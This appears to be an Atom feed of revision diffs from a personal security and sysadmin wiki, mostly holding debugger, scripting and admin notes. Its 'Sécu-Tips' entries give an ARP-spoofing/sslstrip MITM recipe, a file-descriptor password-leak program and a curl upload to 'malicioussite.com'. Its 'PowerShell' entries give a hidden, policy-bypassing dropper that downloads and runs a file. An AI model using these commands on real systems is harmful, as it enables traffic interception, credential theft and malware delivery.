		<link rel="alternate" type="text/html" href="https://futex.re/mediawiki/index.php?title=Reverse&amp;diff=2598"/>
		<updated>2018-10-10T12:41:16Z</updated>

		<summary type="html">&lt;p&gt;Futex : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Memory Analys]]&amp;lt;br&amp;gt;&lt;br /&gt;
[[gdb]]&amp;lt;br&amp;gt;&lt;br /&gt;
[[Ollydbg]]&amp;lt;br&amp;gt;&lt;br /&gt;
[[Windbg]]&amp;lt;br&amp;gt;&lt;br /&gt;
[[x64dbg]]&amp;lt;br&amp;gt;&lt;br /&gt;
[[Introduction au reverse]]&amp;lt;br&amp;gt;&lt;br /&gt;
[[Introduction à GDB]]&amp;lt;br&amp;gt;&lt;br /&gt;
[[Introduction à Radare]]&amp;lt;br&amp;gt;&lt;br /&gt;
[[Windows Messages]]&amp;lt;br&amp;gt;&lt;br /&gt;
[[Reverse Android]]&amp;lt;br&amp;gt;&lt;br /&gt;
[[Reverse Dotnet]]&amp;lt;br&amp;gt;&lt;br /&gt;
[[Kernel Debug]]&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Futex</name></author>
	</entry>
	<entry>
		<id>https://futex.re/mediawiki/index.php?title=Windbg&amp;diff=2597</id>
		<title>Windbg</title>
		<link rel="alternate" type="text/html" href="https://futex.re/mediawiki/index.php?title=Windbg&amp;diff=2597"/>
		<updated>2018-10-05T09:26:26Z</updated>

		<summary type="html">&lt;p&gt;Futex : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[http://windbg.info/doc/1-common-cmds.html Windbg] commands&lt;br /&gt;
&lt;br /&gt;
[[Load sos.dll]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Remote Kernel debug ==&lt;br /&gt;
&lt;br /&gt;
On debugged machine type:&lt;br /&gt;
  bcdedit.exe -dbgsettings net hostip:xxx.xxx.xxx.xxx port:1234&lt;br /&gt;
&lt;br /&gt;
Don&#039;t forget, to remove the unsigned driver protection&lt;br /&gt;
  bcdedit.exe -set testsigning on&lt;br /&gt;
&lt;br /&gt;
Boot the debugged machine in debug mode&lt;br /&gt;
  bcdedit.exe -set debug on&lt;/div&gt;</summary>
		<author><name>Futex</name></author>
	</entry>
	<entry>
		<id>https://futex.re/mediawiki/index.php?title=JScript&amp;diff=2596</id>
		<title>JScript</title>
		<link rel="alternate" type="text/html" href="https://futex.re/mediawiki/index.php?title=JScript&amp;diff=2596"/>
		<updated>2018-09-05T19:56:12Z</updated>

		<summary type="html">&lt;p&gt;Futex : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Print text&lt;br /&gt;
   WScript.echo(&amp;quot;text&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
Write to a file:&lt;br /&gt;
&lt;br /&gt;
  var fso  = new ActiveXObject(&amp;quot;Scripting.FileSystemObject&amp;quot;); &lt;br /&gt;
  var fh = fso.CreateTextFile(&amp;quot;C:\\Users\\admin\\Desktop\\Results.txt&amp;quot;, true, true); &lt;br /&gt;
  fh.WriteLine(&amp;quot;Hello World&amp;quot;)&lt;/div&gt;</summary>
		<author><name>Futex</name></author>
	</entry>
	<entry>
		<id>https://futex.re/mediawiki/index.php?title=1.2_Forensic_tips&amp;diff=2595</id>
		<title>1.2 Forensic tips</title>
		<link rel="alternate" type="text/html" href="https://futex.re/mediawiki/index.php?title=1.2_Forensic_tips&amp;diff=2595"/>
		<updated>2018-05-07T13:00:37Z</updated>

		<summary type="html">&lt;p&gt;Futex : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;SMS MMS file:&lt;br /&gt;
  /data/data/com.android.providers/telephony/databases/mmssms.db&lt;br /&gt;
ou plus récemment &lt;br /&gt;
  /data/data/com.android.providers.telephony/databases/mmssms.db&lt;br /&gt;
&lt;br /&gt;
Copy file&lt;br /&gt;
  adb push myfile /data/local/tmp&lt;/div&gt;</summary>
		<author><name>Futex</name></author>
	</entry>
	<entry>
		<id>https://futex.re/mediawiki/index.php?title=1.2_Forensic_tips&amp;diff=2594</id>
		<title>1.2 Forensic tips</title>
		<link rel="alternate" type="text/html" href="https://futex.re/mediawiki/index.php?title=1.2_Forensic_tips&amp;diff=2594"/>
		<updated>2018-05-07T11:28:09Z</updated>

		<summary type="html">&lt;p&gt;Futex : /&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;SMS MMS file:&lt;br /&gt;
  /data/data/com.android.providers/telephony/databases/mmssms.db&lt;br /&gt;
ou plus récemment &lt;br /&gt;
  /data/data/com.android.providers.telephony/databases/mmssms.db&lt;/div&gt;</summary>
		<author><name>Futex</name></author>
	</entry>
	<entry>
		<id>https://futex.re/mediawiki/index.php?title=Android&amp;diff=2593</id>
		<title>Android</title>
		<link rel="alternate" type="text/html" href="https://futex.re/mediawiki/index.php?title=Android&amp;diff=2593"/>
		<updated>2018-05-07T11:17:09Z</updated>

		<summary type="html">&lt;p&gt;Futex : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Administration courante ==&lt;br /&gt;
[[1.1 Monter la carte SD sous Linux]]&amp;lt;br&amp;gt;&lt;br /&gt;
[[1.2 Forensic tips]]&lt;/div&gt;</summary>
		<author><name>Futex</name></author>
	</entry>
	<entry>
		<id>https://futex.re/mediawiki/index.php?title=S%C3%A9cu-Tips&amp;diff=2592</id>
		<title>Sécu-Tips</title>
		<link rel="alternate" type="text/html" href="https://futex.re/mediawiki/index.php?title=S%C3%A9cu-Tips&amp;diff=2592"/>
		<updated>2018-04-30T14:28:26Z</updated>

		<summary type="html">&lt;p&gt;Futex : /* Envoyer du raw binaire à un site web */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Connaître la version de Bind à distance ==&lt;br /&gt;
&lt;br /&gt;
  # nslookup -q=txt -class=CHAOS version.bind 213.186.33.99&lt;br /&gt;
ou&lt;br /&gt;
  # fpdns -D 213.186.33.99&lt;br /&gt;
&lt;br /&gt;
== Décoder une chaîne en base64 ==&lt;br /&gt;
&lt;br /&gt;
  #perl -MMIME::Base64 -le &#039;print decode_base64 (&amp;quot;c2VjcmV00k1BbUdvZa---&amp;quot;)&#039;&lt;br /&gt;
  secret:IamGod&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== MITM Attack avec sslstrip ==&lt;br /&gt;
&lt;br /&gt;
Activer le mode forwarding. &lt;br /&gt;
  echo &amp;quot;1&amp;quot; &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
Rediriger le traffic HTTP sur sslstrip avec iptables.&lt;br /&gt;
  iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port &amp;lt;listenPort&amp;gt;&lt;br /&gt;
Lancer sslstrip sslstrip. &lt;br /&gt;
  sslstrip.py -l &amp;lt;listenPort&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Lancer arpspoof pour se faire passer pour la gateway&lt;br /&gt;
  arpspoof -i &amp;lt;interface&amp;gt; -t &amp;lt;targetIP&amp;gt; &amp;lt;gatewayIP&amp;gt;&lt;br /&gt;
&lt;br /&gt;
How does this work?&lt;br /&gt;
&lt;br /&gt;
First, arpspoof convinces a host that our MAC address is the router’s MAC address, and the target begins to send us all its network traffic. The kernel forwards everything along except for traffic destined to port 80, which it redirects to $listenPort (10000, for example).&lt;br /&gt;
&lt;br /&gt;
At this point, sslstrip receives the traffic and does its magic.&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Recherche du bit setuid ==&lt;br /&gt;
&lt;br /&gt;
SunOS&lt;br /&gt;
  find / -local -type f \( -perm -4000 -o -perm -2000 \) -print&lt;br /&gt;
AIX&lt;br /&gt;
  find / -type f \( -perm -4000 -o -perm -2000 \) -print&lt;br /&gt;
Linux&lt;br /&gt;
  find / -local -type f \( -perm -4000 -o -perm -2000 \) -print&lt;br /&gt;
HP-UX&lt;br /&gt;
  find / -local -type f \( -perm -4000 -o -perm -2000 \) -prin&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Unix Hack==&lt;br /&gt;
&lt;br /&gt;
Files descriptors leaks&lt;br /&gt;
&lt;br /&gt;
  #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
  #define FD 3&lt;br /&gt;
  #define VSIZE 256&lt;br /&gt;
  int main() &lt;br /&gt;
  {&lt;br /&gt;
    int index; char buffer[VSIZE];&lt;br /&gt;
    char cmd[VSIZE];&lt;br /&gt;
    sprintf(cmd, &amp;quot;ls -la /proc/%d/fd/3&amp;quot;, getpid()+2);&lt;br /&gt;
    system(cmd);&lt;br /&gt;
    lseek(FD, 0, SEEK_SET);&lt;br /&gt;
    while((index = read(FD,buffer,VSIZE-1)) != 0 &amp;amp;&amp;amp; index &amp;gt; 0) &lt;br /&gt;
    {&lt;br /&gt;
       buffer[index-1] = &#039;\0&#039;;&lt;br /&gt;
       fprintf(stdout,&amp;quot;[+] Password : %s\n&amp;quot;, buffer);&lt;br /&gt;
       return EXIT_SUCCESS;&lt;br /&gt;
    }&lt;br /&gt;
    fprintf(stderr,&amp;quot;[-] Password not found\n&amp;quot;);&lt;br /&gt;
    return EXIT_FAILURE;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
== Envoyer du raw binaire à un site web ==&lt;br /&gt;
  curl --request POST --data-binary &amp;quot;@data.bin&amp;quot; hxxp://malicioussite.com/loveyoupolice182938481.php -o answer.bin&lt;/div&gt;</summary>
		<author><name>Futex</name></author>
	</entry>
	<entry>
		<id>https://futex.re/mediawiki/index.php?title=S%C3%A9cu-Tips&amp;diff=2591</id>
		<title>Sécu-Tips</title>
		<link rel="alternate" type="text/html" href="https://futex.re/mediawiki/index.php?title=S%C3%A9cu-Tips&amp;diff=2591"/>
		<updated>2018-04-30T14:28:07Z</updated>

		<summary type="html">&lt;p&gt;Futex : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Connaître la version de Bind à distance ==&lt;br /&gt;
&lt;br /&gt;
  # nslookup -q=txt -class=CHAOS version.bind 213.186.33.99&lt;br /&gt;
ou&lt;br /&gt;
  # fpdns -D 213.186.33.99&lt;br /&gt;
&lt;br /&gt;
== Décoder une chaîne en base64 ==&lt;br /&gt;
&lt;br /&gt;
  #perl -MMIME::Base64 -le &#039;print decode_base64 (&amp;quot;c2VjcmV00k1BbUdvZa---&amp;quot;)&#039;&lt;br /&gt;
  secret:IamGod&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== MITM Attack avec sslstrip ==&lt;br /&gt;
&lt;br /&gt;
Activer le mode forwarding. &lt;br /&gt;
  echo &amp;quot;1&amp;quot; &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
Rediriger le traffic HTTP sur sslstrip avec iptables.&lt;br /&gt;
  iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port &amp;lt;listenPort&amp;gt;&lt;br /&gt;
Lancer sslstrip sslstrip. &lt;br /&gt;
  sslstrip.py -l &amp;lt;listenPort&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Lancer arpspoof pour se faire passer pour la gateway&lt;br /&gt;
  arpspoof -i &amp;lt;interface&amp;gt; -t &amp;lt;targetIP&amp;gt; &amp;lt;gatewayIP&amp;gt;&lt;br /&gt;
&lt;br /&gt;
How does this work?&lt;br /&gt;
&lt;br /&gt;
First, arpspoof convinces a host that our MAC address is the router’s MAC address, and the target begins to send us all its network traffic. The kernel forwards everything along except for traffic destined to port 80, which it redirects to $listenPort (10000, for example).&lt;br /&gt;
&lt;br /&gt;
At this point, sslstrip receives the traffic and does its magic.&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Recherche du bit setuid ==&lt;br /&gt;
&lt;br /&gt;
SunOS&lt;br /&gt;
  find / -local -type f \( -perm -4000 -o -perm -2000 \) -print&lt;br /&gt;
AIX&lt;br /&gt;
  find / -type f \( -perm -4000 -o -perm -2000 \) -print&lt;br /&gt;
Linux&lt;br /&gt;
  find / -local -type f \( -perm -4000 -o -perm -2000 \) -print&lt;br /&gt;
HP-UX&lt;br /&gt;
  find / -local -type f \( -perm -4000 -o -perm -2000 \) -prin&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Unix Hack==&lt;br /&gt;
&lt;br /&gt;
Files descriptors leaks&lt;br /&gt;
&lt;br /&gt;
  #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
  #define FD 3&lt;br /&gt;
  #define VSIZE 256&lt;br /&gt;
  int main() &lt;br /&gt;
  {&lt;br /&gt;
    int index; char buffer[VSIZE];&lt;br /&gt;
    char cmd[VSIZE];&lt;br /&gt;
    sprintf(cmd, &amp;quot;ls -la /proc/%d/fd/3&amp;quot;, getpid()+2);&lt;br /&gt;
    system(cmd);&lt;br /&gt;
    lseek(FD, 0, SEEK_SET);&lt;br /&gt;
    while((index = read(FD,buffer,VSIZE-1)) != 0 &amp;amp;&amp;amp; index &amp;gt; 0) &lt;br /&gt;
    {&lt;br /&gt;
       buffer[index-1] = &#039;\0&#039;;&lt;br /&gt;
       fprintf(stdout,&amp;quot;[+] Password : %s\n&amp;quot;, buffer);&lt;br /&gt;
       return EXIT_SUCCESS;&lt;br /&gt;
    }&lt;br /&gt;
    fprintf(stderr,&amp;quot;[-] Password not found\n&amp;quot;);&lt;br /&gt;
    return EXIT_FAILURE;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
== Envoyer du raw binaire à un site web ==&lt;br /&gt;
  curl --request POST --data-binary &amp;quot;@data.bin&amp;quot; http://malicioussite.com/loveyoupolice182938481.php -o answer.bin&lt;/div&gt;</summary>
		<author><name>Futex</name></author>
	</entry>
	<entry>
		<id>https://futex.re/mediawiki/index.php?title=Admin&amp;diff=2590</id>
		<title>Admin</title>
		<link rel="alternate" type="text/html" href="https://futex.re/mediawiki/index.php?title=Admin&amp;diff=2590"/>
		<updated>2018-04-26T11:39:08Z</updated>

		<summary type="html">&lt;p&gt;Futex : Page créée avec « Add a second IP address in command line   netsh interface ipv4 add address “Local Area Connection” 192.168.1.2 255.255.255.0 »&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Add a second IP address in command line&lt;br /&gt;
  netsh interface ipv4 add address “Local Area Connection” 192.168.1.2 255.255.255.0&lt;/div&gt;</summary>
		<author><name>Futex</name></author>
	</entry>
	<entry>
		<id>https://futex.re/mediawiki/index.php?title=Windows_10&amp;diff=2589</id>
		<title>Windows 10</title>
		<link rel="alternate" type="text/html" href="https://futex.re/mediawiki/index.php?title=Windows_10&amp;diff=2589"/>
		<updated>2018-04-26T11:38:38Z</updated>

		<summary type="html">&lt;p&gt;Futex : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Admin]]&amp;lt;br&amp;gt;&lt;br /&gt;
[[CryptoAPI]]&lt;/div&gt;</summary>
		<author><name>Futex</name></author>
	</entry>
	<entry>
		<id>https://futex.re/mediawiki/index.php?title=Windows_10&amp;diff=2588</id>
		<title>Windows 10</title>
		<link rel="alternate" type="text/html" href="https://futex.re/mediawiki/index.php?title=Windows_10&amp;diff=2588"/>
		<updated>2018-04-26T11:38:29Z</updated>

		<summary type="html">&lt;p&gt;Futex : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Admin]]&lt;br /&gt;
[[CryptoAPI]]&lt;/div&gt;</summary>
		<author><name>Futex</name></author>
	</entry>
	<entry>
		<id>https://futex.re/mediawiki/index.php?title=VBScript&amp;diff=2587</id>
		<title>VBScript</title>
		<link rel="alternate" type="text/html" href="https://futex.re/mediawiki/index.php?title=VBScript&amp;diff=2587"/>
		<updated>2018-04-10T08:55:56Z</updated>

		<summary type="html">&lt;p&gt;Futex : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Print text&lt;br /&gt;
   Wscript.echo(&amp;quot;text&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
Write in a text file&lt;br /&gt;
   Set objFSO=CreateObject(&amp;quot;Scripting.FileSystemObject&amp;quot;)&lt;br /&gt;
   outFile=CreateObject(&amp;quot;WScript.Shell&amp;quot;).SpecialFolders(&amp;quot;Desktop&amp;quot;) + &amp;quot;\stage1.txt&amp;quot;&lt;br /&gt;
   Set objFile = objFSO.CreateTextFile(outFile,True)&lt;br /&gt;
   objFile.WriteLine variable&lt;br /&gt;
&lt;br /&gt;
If you can&#039;t see all the variable value with the watch point, you can open immediate window View--&amp;gt; Intermediate Window or CTRL-G and type&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
debug.print VARIABLE_NAME&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Copy variable into the clipboard&lt;br /&gt;
   Set objIE = CreateObject(&amp;quot;InternetExplorer.Application&amp;quot;)&lt;br /&gt;
   objIE.Visible = False&lt;br /&gt;
   objIE.Navigate(&amp;quot;about:blank&amp;quot;)&lt;br /&gt;
   objIE.document.parentwindow.clipboardData.SetData &amp;quot;text&amp;quot;, host&lt;br /&gt;
   objIE.Quit&lt;/div&gt;</summary>
		<author><name>Futex</name></author>
	</entry>
	<entry>
		<id>https://futex.re/mediawiki/index.php?title=VBScript&amp;diff=2586</id>
		<title>VBScript</title>
		<link rel="alternate" type="text/html" href="https://futex.re/mediawiki/index.php?title=VBScript&amp;diff=2586"/>
		<updated>2018-03-01T11:44:32Z</updated>

		<summary type="html">&lt;p&gt;Futex : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Print text&lt;br /&gt;
   Wscript.echo(&amp;quot;text&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
Write in a text file&lt;br /&gt;
   Set objFSO=CreateObject(&amp;quot;Scripting.FileSystemObject&amp;quot;)&lt;br /&gt;
   outFile=CreateObject(&amp;quot;WScript.Shell&amp;quot;).SpecialFolders(&amp;quot;Desktop&amp;quot;) + &amp;quot;\stage1.txt&amp;quot;&lt;br /&gt;
   Set objFile = objFSO.CreateTextFile(outFile,True)&lt;br /&gt;
   objFile.WriteLine variable&lt;br /&gt;
&lt;br /&gt;
If you can&#039;t see all the variable value with the watch point, you can open immediate window View--&amp;gt; Intermediate Window or CTRL-G and type&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
debug.print VARIABLE_NAME&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;/div&gt;</summary>
		<author><name>Futex</name></author>
	</entry>
	<entry>
		<id>https://futex.re/mediawiki/index.php?title=PowerShell&amp;diff=2585</id>
		<title>PowerShell</title>
		<link rel="alternate" type="text/html" href="https://futex.re/mediawiki/index.php?title=PowerShell&amp;diff=2585"/>
		<updated>2018-02-21T10:18:15Z</updated>

		<summary type="html">&lt;p&gt;Futex : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Simple dropper&lt;br /&gt;
&lt;br /&gt;
  ﻿powershell.exe&amp;quot; -w hidden -nop -ep bypass (New-Object System.Net.WebClient).DownloadFile(&#039;https://toto.com/image.png&#039;,&#039;C:\Users\admin\AppData\Local\Temp\image.png&#039;); Start-Process(&#039;C:\Users\admin\AppData\Local\Temp\image.png&#039;)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Find the framework version of a binary&lt;br /&gt;
  ﻿[Reflection.Assembly]::ReflectionOnlyLoadFrom(&amp;quot;C:\Users\futex\Desktop\test.exe&amp;quot;).ImageRuntimeVersion&lt;br /&gt;
  v2.0.50727&lt;br /&gt;
&lt;br /&gt;
Find machine version using Active Directory&lt;br /&gt;
  Get-ADComputer &amp;quot;$MACHINE_NAME&amp;quot; -Property operatingsystemversion&lt;/div&gt;</summary>
		<author><name>Futex</name></author>
	</entry>
	<entry>
		<id>https://futex.re/mediawiki/index.php?title=VBScript&amp;diff=2584</id>
		<title>VBScript</title>
		<link rel="alternate" type="text/html" href="https://futex.re/mediawiki/index.php?title=VBScript&amp;diff=2584"/>
		<updated>2018-02-05T11:57:30Z</updated>

		<summary type="html">&lt;p&gt;Futex : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Print text&lt;br /&gt;
   Wscript.echo(&amp;quot;text&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
Write in a text file&lt;br /&gt;
   Set objFSO=CreateObject(&amp;quot;Scripting.FileSystemObject&amp;quot;)&lt;br /&gt;
   outFile=CreateObject(&amp;quot;WScript.Shell&amp;quot;).SpecialFolders(&amp;quot;Desktop&amp;quot;) + &amp;quot;\stage1.txt&amp;quot;&lt;br /&gt;
   Set objFile = objFSO.CreateTextFile(outFile,True&lt;br /&gt;
   objFile.WriteLine variable&lt;br /&gt;
&lt;br /&gt;
If you can&#039;t see all the variable value with the watch point, you can open immediate window View--&amp;gt; Intermediate Window or CTRL-G and type&lt;br /&gt;
&amp;lt;code&amp;gt;&lt;br /&gt;
debug.print VARIABLE_NAME&lt;br /&gt;
&amp;lt;/code&amp;gt;&lt;/div&gt;</summary>
		<author><name>Futex</name></author>
	</entry>
	<entry>
		<id>https://futex.re/mediawiki/index.php?title=JScript&amp;diff=2583</id>
		<title>JScript</title>
		<link rel="alternate" type="text/html" href="https://futex.re/mediawiki/index.php?title=JScript&amp;diff=2583"/>
		<updated>2018-02-05T10:03:50Z</updated>

		<summary type="html">&lt;p&gt;Futex : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Print text&lt;br /&gt;
   WScript.echo(&amp;quot;text&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
Write to a file:&lt;br /&gt;
&lt;br /&gt;
  var fso  = new ActiveXObject(&amp;quot;Scripting.FileSystemObject&amp;quot;); &lt;br /&gt;
  var fh = fso.CreateTextFile(&amp;quot;C:\Users\admin\Desktop\Results.txt&amp;quot;, true, true); &lt;br /&gt;
  fh.WriteLine(&amp;quot;Hello World&amp;quot;)&lt;/div&gt;</summary>
		<author><name>Futex</name></author>
	</entry>
	<entry>
		<id>https://futex.re/mediawiki/index.php?title=JScript&amp;diff=2582</id>
		<title>JScript</title>
		<link rel="alternate" type="text/html" href="https://futex.re/mediawiki/index.php?title=JScript&amp;diff=2582"/>
		<updated>2018-02-05T10:03:37Z</updated>

		<summary type="html">&lt;p&gt;Futex : Page créée avec « Print text    WScript.echo(&amp;quot;text&amp;quot;)  Write to a file:    var fso  = new ActiveXObject(&amp;quot;Scripting.FileSystemObject&amp;quot;);    var fh = fso.CreateTextFile(&amp;quot;C:\Users\admin\Desktop\... »&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Print text&lt;br /&gt;
   WScript.echo(&amp;quot;text&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
Write to a file:&lt;br /&gt;
&lt;br /&gt;
  var fso  = new ActiveXObject(&amp;quot;Scripting.FileSystemObject&amp;quot;); &lt;br /&gt;
  var fh = fso.CreateTextFile(&amp;quot;C:\Users\admin\Desktop\Results.txt&amp;quot;, true, true); &lt;br /&gt;
&lt;br /&gt;
  fh.WriteLine(&amp;quot;Hello World&amp;quot;)&lt;/div&gt;</summary>
		<author><name>Futex</name></author>
	</entry>
	<entry>
		<id>https://futex.re/mediawiki/index.php?title=Accueil&amp;diff=2581</id>
		<title>Accueil</title>
		<link rel="alternate" type="text/html" href="https://futex.re/mediawiki/index.php?title=Accueil&amp;diff=2581"/>
		<updated>2018-02-05T10:01:30Z</updated>

		<summary type="html">&lt;p&gt;Futex : /* Programmation */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Unix ==&lt;br /&gt;
:[[AIX]] - [[Solaris]] - [[Linux]] - [[HP-UX]] - [[Android]] - [[MacOS/iOS]] - [[Unix bases]]&lt;br /&gt;
&lt;br /&gt;
== Windows ==&lt;br /&gt;
:[[Windows XP]] - [[Windows Vista]] - [[ Windows Seven]] - [[ Windows 10 ]]&lt;br /&gt;
&lt;br /&gt;
== Programmation ==&lt;br /&gt;
:[[C]] - [[C++]] - [[C Sharp]] - [[Java]] - [[Shell]] - [[Perl]] - [[Python]] - [[Ruby]] - [[PowerShell]] - [[PHP]] - [[HTML]] - [[JavaScript]] - [[SQL]] - [[Assembleur]] - [[GCC]] - [[VBScript]] - [[JScript]]&lt;br /&gt;
&lt;br /&gt;
== Stockage ==&lt;br /&gt;
:[[Switchs SAN]] - [[Baies DS8000]] - [[Baies EMC]] - [[SVC]] - [[NetApp]]&lt;br /&gt;
&lt;br /&gt;
==Software==&lt;br /&gt;
:[[Apache]] [[MySQL]] [[SQLite]]&lt;br /&gt;
&lt;br /&gt;
== Sécurité ==&lt;br /&gt;
:[[Web]] - [[BOF]] - [[Reverse]] - [[Botnets]] - [[Network]] - [[Fingerprint]] - [[Crack Pass]] - [[SSH]] - [[Nmap]] - [[ Scapy]] - [[Metasploit]] - [[Nessus]] - [[Outils divers]] - [[Sécu-Tips]]&lt;br /&gt;
&lt;br /&gt;
== Divers ==&lt;br /&gt;
:[[Mémo VI]] - [[Mémo MediaWiki]] - [[Mémo Firefox]] - [[Mémo Chrome/Chromium]] - [[Beer]]&lt;br /&gt;
&lt;br /&gt;
== Liens externes ==&lt;br /&gt;
&lt;br /&gt;
:[[Hacking et sécurité]] - [[Développement]]&lt;/div&gt;</summary>
		<author><name>Futex</name></author>
	</entry>
	<entry>
		<id>https://futex.re/mediawiki/index.php?title=Load_sos.dll&amp;diff=2580</id>
		<title>Load sos.dll</title>
		<link rel="alternate" type="text/html" href="https://futex.re/mediawiki/index.php?title=Load_sos.dll&amp;diff=2580"/>
		<updated>2017-10-31T14:43:31Z</updated>

		<summary type="html">&lt;p&gt;Futex : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;In case of the analysed binary is older than the framework 4:&lt;br /&gt;
  sxe ld mscorwks.dll; g&lt;br /&gt;
  .loadby sos mscorwks (After windbg breaks)&lt;br /&gt;
&lt;br /&gt;
If framework &amp;gt;=  4&lt;br /&gt;
  sxe ld clrjit ; g&lt;br /&gt;
  .loadby sos clr (After windbg breaks)&lt;/div&gt;</summary>
		<author><name>Futex</name></author>
	</entry>
	<entry>
		<id>https://futex.re/mediawiki/index.php?title=Load_sos.dll&amp;diff=2579</id>
		<title>Load sos.dll</title>
		<link rel="alternate" type="text/html" href="https://futex.re/mediawiki/index.php?title=Load_sos.dll&amp;diff=2579"/>
		<updated>2017-10-31T14:43:17Z</updated>

		<summary type="html">&lt;p&gt;Futex : Page créée avec « In case of the analysed binary is older than the framework 4:   sxe ld mscorwks.dll; g   .loadby sos mscorwks (After windbg breaks)  If &amp;gt; framework 4   sxe ld clrjit ; g... »&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;In case of the analysed binary is older than the framework 4:&lt;br /&gt;
  sxe ld mscorwks.dll; g&lt;br /&gt;
  .loadby sos mscorwks (After windbg breaks)&lt;br /&gt;
&lt;br /&gt;
If &amp;gt; framework 4&lt;br /&gt;
  sxe ld clrjit ; g&lt;br /&gt;
  .loadby sos clr (After windbg breaks)&lt;/div&gt;</summary>
		<author><name>Futex</name></author>
	</entry>
	<entry>
		<id>https://futex.re/mediawiki/index.php?title=Windbg&amp;diff=2578</id>
		<title>Windbg</title>
		<link rel="alternate" type="text/html" href="https://futex.re/mediawiki/index.php?title=Windbg&amp;diff=2578"/>
		<updated>2017-10-31T14:41:31Z</updated>

		<summary type="html">&lt;p&gt;Futex : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[http://windbg.info/doc/1-common-cmds.html Windbg] commands&lt;br /&gt;
&lt;br /&gt;
[[Load sos.dll]]&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Futex</name></author>
	</entry>
	<entry>
		<id>https://futex.re/mediawiki/index.php?title=PowerShell&amp;diff=2577</id>
		<title>PowerShell</title>
		<link rel="alternate" type="text/html" href="https://futex.re/mediawiki/index.php?title=PowerShell&amp;diff=2577"/>
		<updated>2017-10-31T14:40:13Z</updated>

		<summary type="html">&lt;p&gt;Futex : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Simple dropper&lt;br /&gt;
&lt;br /&gt;
  ﻿powershell.exe&amp;quot; -w hidden -nop -ep bypass (New-Object System.Net.WebClient).DownloadFile(&#039;https://toto.com/image.png&#039;,&#039;C:\Users\admin\AppData\Local\Temp\image.png&#039;); Start-Process(&#039;C:\Users\admin\AppData\Local\Temp\image.png&#039;)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Find the framework version of a binary&lt;br /&gt;
  ﻿[Reflection.Assembly]::ReflectionOnlyLoadFrom(&amp;quot;C:\Users\futex\Desktop\test.exe&amp;quot;).ImageRuntimeVersion&lt;br /&gt;
  v2.0.50727&lt;/div&gt;</summary>
		<author><name>Futex</name></author>
	</entry>
	<entry>
		<id>https://futex.re/mediawiki/index.php?title=VBScript&amp;diff=2576</id>
		<title>VBScript</title>
		<link rel="alternate" type="text/html" href="https://futex.re/mediawiki/index.php?title=VBScript&amp;diff=2576"/>
		<updated>2017-08-21T13:44:48Z</updated>

		<summary type="html">&lt;p&gt;Futex : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Print text&lt;br /&gt;
   Wscript.echo(&amp;quot;text&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
Write in a text file&lt;br /&gt;
   Set objFSO=CreateObject(&amp;quot;Scripting.FileSystemObject&amp;quot;)&lt;br /&gt;
   outFile=&amp;quot;C:\Users\User\Desktop\Results.txt&amp;quot;&lt;br /&gt;
